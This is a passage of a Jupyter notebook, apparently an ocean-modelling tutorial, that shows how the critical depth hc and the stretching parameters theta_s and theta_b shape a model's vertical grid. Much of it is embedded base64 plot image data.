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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_small_critical_depth.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "markdown", "id": "2e737cbf-97e0-4ec4-8e11-35f68171208b", "metadata": {}, "source": [ "When comparing the three plots above, we observe that \n", "\n", "* increasing `hc` results in a higher proportion of the upper ocean having nearly evenly spaced levels. It's important to note that despite setting `hc` to 1000m in the second plot, the evenly spaced levels do not extend all the way down to 1000m. However, in deeper ocean regions (visible in the left part of the plot), we approach this depth threshold more closely.\n", "* reducing `hc` leads to a smaller proportion of the upper ocean having nearly evenly spaced levels." ] }, { "cell_type": "markdown", "id": "097896d6-93ab-483f-984e-41f3114b7f1e", "metadata": {}, "source": [ "#### Surface and bottom control parameters\n", "\n", "The surface control parameter `theta_s` and bottom control parameter `theta_b` determine how much the vertical grid is stretched near the surface and bottom, respectively. Let's change these two parameters and see what happens." ] }, { "cell_type": "code", "execution_count": 36, "id": "8aef20c7-1822-40c1-a4ee-cd6afa8da608", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid_with_large_theta_s = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=10.0,\n", " theta_b=control_grid.theta_b,\n", " hc=control_grid.hc\n", ")\n", "\n", "grid_with_small_theta_s = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=2.0,\n", " theta_b=control_grid.theta_b,\n", " hc=control_grid.hc\n", ")" ] }, { "cell_type": "code", "execution_count": 37, "id": "37e1e16f-41d9-4e37-8afb-a4d551deb6b5", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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